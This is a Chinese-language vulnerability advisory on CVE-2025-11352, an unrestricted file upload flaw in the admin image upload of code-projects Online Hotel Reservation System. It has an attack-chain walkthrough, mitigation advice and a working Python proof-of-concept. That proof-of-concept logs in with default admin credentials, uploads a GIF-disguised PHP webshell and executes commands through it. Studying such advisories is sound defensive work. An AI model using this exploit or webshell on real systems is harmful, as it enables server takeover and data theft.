IPBUF安全漏洞报告
English
CVE-2025-11352 CVSS 6.3 中危

CVE-2025-11352:Online Hotel Reservation System任意文件上传漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11352
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Hotel Reservation System

相关标签

任意文件上传Unrestricted File UploadWebShellOnline Hotel Reservation Systemcode-projectsPHP远程代码执行中危漏洞CVE-2025-11352管理后台漏洞

漏洞概述

CVE-2025-11352是code-projects公司开发的Online Hotel Reservation System(在线酒店预订系统)1.0版本中存在的一个安全漏洞。该漏洞于2025年10月7日被公开披露,CVSS 3.1评分为6.3分,属于中危级别漏洞。漏洞存在于系统的管理后台文件/admin/addexec.php中,具体涉及对参数image的处理逻辑存在缺陷,导致攻击者可以绕过文件类型限制,执行不受限制的文件上传操作。该漏洞可被远程利用,攻击者仅需具备低权限(已登录管理员账号)即可发起攻击,无需用户交互。漏洞的成功利用可能导致恶意文件(如WebShell)被上传至服务器,进而造成服务器被完全控制、数据泄露、服务中断等严重后果。由于该漏洞的利用细节已被公开披露,且可能已有公开的利用代码(PoC),相关用户应尽快采取修复措施。该漏洞已被收录于多个公开漏洞数据库,包括NVD、cvedetails、vuldb等,参考链接中还包含了GitHub上的相关issue(https://github.com/zhicat/C/issues/29),表明该漏洞已有研究者关注并报告。

技术细节

该漏洞的核心问题在于/admin/addexec.php文件对用户上传的image参数处理不当,未对上传文件的类型、扩展名或内容进行充分验证。具体技术分析如下:

1. **漏洞触发点**:/admin/addexec.php文件中的image参数处理逻辑。该文件负责处理酒店信息添加功能中的图片上传请求。

2. **漏洞原理**:在正常的文件上传场景中,服务器端应当对上传文件的MIME类型、文件扩展名、文件内容(魔术字节/Magic Bytes)进行严格校验,以防止恶意文件上传。然而,该系统在处理image参数时缺乏这些必要的验证步骤,导致攻击者可以将任意类型的文件(包括.php、.jsp、.asp等可执行脚本文件)伪装成图片文件进行上传。

3. **利用方式**:攻击者首先需要获取管理员账号的登录凭证(通过暴力破解、社会工程学或其他方式),然后构造恶意的HTTP上传请求,将包含WebShell代码的文件(如shell.php)上传至服务器。上传成功后,攻击者可通过浏览器直接访问上传的文件路径,执行任意PHP代码,实现对服务器的控制。

4. **攻击条件**:根据CVSS向量分析,攻击需要网络访问(AV:N)、低攻击复杂度(AC:L)、低权限要求(PR:L)、无需用户交互(UI:N),表明该漏洞易于利用。

5. **影响范围**:漏洞影响机密性、完整性、可用性均为低级别(C:L/I:L/A:L),但通过上传WebShell后,攻击者可进一步提权或发起更深层次的攻击,实际危害可能远超CVSS评分所反映的程度。

攻击链分析

STEP 1
步骤1:获取管理员凭证
攻击者通过暴力破解、社会工程学、默认凭据或其他方式获取Online Hotel Reservation System管理员后台的登录凭证。由于该系统为中小型项目,管理员可能使用弱密码(如admin/admin),降低了攻击门槛。
STEP 2
步骤2:登录管理后台
使用获取的管理员凭证登录系统后台(/admin/),建立有效的会话,获取Session Cookie,为后续的上传操作做准备。
STEP 3
步骤3:构造恶意上传请求
攻击者构造包含恶意PHP代码的文件(如shell.php),并将其伪装为图片文件(如添加GIF文件头魔术字节),绕过简单的内容类型检查。
STEP 4
步骤4:利用漏洞上传WebShell
通过向/admin/addexec.php发送包含恶意文件的POST请求,利用image参数处理逻辑的缺陷,将WebShell上传至服务器。由于系统未对文件类型进行严格校验,上传成功。
STEP 5
步骤5:执行远程命令
攻击者通过浏览器访问上传的WebShell文件路径,执行任意系统命令,实现对服务器的控制。可进一步进行数据窃取、植入后门、横向移动等攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11352 PoC - Online Hotel Reservation System Unrestricted File Upload # Vulnerability: Unrestricted file upload in /admin/addexec.php via 'image' parameter # Affected: code-projects Online Hotel Reservation System 1.0 import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPLOAD_URL = f"{TARGET_URL}/admin/addexec.php" USERNAME = "admin" PASSWORD = "admin" # Default or brute-forced credentials # Step 1: Login as admin to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP webshell disguised as image # The server fails to validate file type/extension, allowing .php upload webshell_content = b"GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;<?php echo system($_GET['cmd']); ?>" files = { "image": ("shell.php", webshell_content, "image/gif") } # Step 3: Upload the malicious file via the vulnerable endpoint data = { "name": "TestHotel", "city": "TestCity", "rate": "100", "description": "Test" } response = session.post(UPLOAD_URL, files=files, data=data) print(f"Upload response status: {response.status_code}") # Step 4: Access the uploaded webshell to execute commands # The shell.php will be uploaded to the images directory SHELL_URL = f"{TARGET_URL}/admin/images/shell.php?cmd=id" shell_response = requests.get(SHELL_URL) print(f"Command execution result: {shell_response.text}")

影响范围

code-projects Online Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/admin/addexec.php的访问权限,仅允许可信IP地址访问管理后台;2)在Web服务器层面配置上传目录禁止执行PHP等脚本文件;3)对所有上传的文件进行事后扫描,使用杀毒软件或文件类型检测工具识别恶意文件;4)加强管理员账号的安全管理,使用强密码策略并启用双因素认证;5)监控服务器文件系统,及时发现异常的PHP文件或WebShell;6)部署Web应用防火墙(WAF),配置规则拦截常见的WebShell上传特征;7)定期备份重要数据,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表